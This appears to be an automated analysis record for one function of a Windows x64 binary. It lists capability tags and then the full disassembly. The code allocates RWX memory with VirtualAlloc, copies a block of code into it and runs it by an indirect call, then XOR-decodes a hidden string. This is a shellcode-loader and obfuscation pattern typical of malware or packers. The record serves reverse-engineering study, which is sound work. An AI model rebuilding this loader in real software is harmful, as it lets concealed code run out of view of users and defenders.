Function at 0x140044300
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140056040]
xor rax, rsp
mov qword [rbp - 8], rax
mov rcx, qword [0x140057078]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x140057258]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x1400570f8]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea r15, [rbp + 0x18]
movabs r12, 0x7a5db90d33787107
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], r15
mov rdi, qword [r15]
xor rdi, r12
mov qword [rbp - 0x30], rdi
xor ebx, ebx
mov qword [r15], rbx
mov ecx, ebx
lea r14, [0x140045640]
lea rsi, [0x140000000]
mov rax, qword [0x140060660]
test rax, rax
je 0x1400443c1
mov edx, ebx
cmp rax, r14
je 0x1400443b0
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x60660]
test rax, rax
jne 0x140044398
jmp 0x1400443c1
mov r8, qword [rsi + rdx*8 + 0x5b490]
test r8, r8
jne 0x1400444af
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400443e8
mov r8, rbx
jmp 0x14004448e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140044400
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140060988]
mov qword [rsi + rax*8 + 0x60660], r14
mov qword [rsi + rax*8 + 0x5b490], r8
inc rax
mov qword [0x140060988], rax
lea rdx, [0x140057250]
mov rcx, qword [sym.imp.USER32.dll_DestroyWindow]
call r8
nop
xor rdi, r12
mov qword [rbp - 0x30], rdi
mov qword [r15], rdi
mov byte [rbp - 0x18], 0x30
mov byte [rbp - 0x17], 0xc
mov byte [rbp - 0x16], 0x12
mov byte [rbp - 0x15], 0x1b
mov byte [rbp - 0x14], 9
mov byte [rbp - 0x13], 0xd
mov byte [rbp - 0x12], 0x10
mov byte [rbp - 0x11], 0x5f
mov byte [rbp - 0x10], 0x33
mov byte [rbp - 0xf], 0x1c
mov byte [rbp - 0xe], 9
mov byte [rbp - 0xd], 0x16
mov byte [rbp - 0xc], 0x1a
mov byte [rbp - 0xb], 0x1d
mov byte [rbp - 0xa], 0x16
mov byte [rbp - 9], 0x74
movzx eax, byte [rbp - 0x18]
movabs r11, 0xdb45f909e7ce2d6a
mov r10, r11
lea rax, [rbp - 0x18]
sub r10, rax
mov edi, 0xf
nop dword [rax + rax]
lea r8, [rbp - 0x18]
add r8, rbx
movzx r9d, byte [r8]
mov rcx, rbx
and ecx, edi
cmp rcx, rdi
cmovae rcx, rdi
shl cl, 2
mov rdx, r11
shr rdx, cl
and dl, dil
lea eax, [r8 + r10]
xor dl, al
xor dl, r9b
mov byte [rbp + rbx - 0x18], dl
inc rbx
cmp rbx, 0x10
jb 0x140044530
xor edx, edx
lea rcx, [rbp - 0x18]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140045d10
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret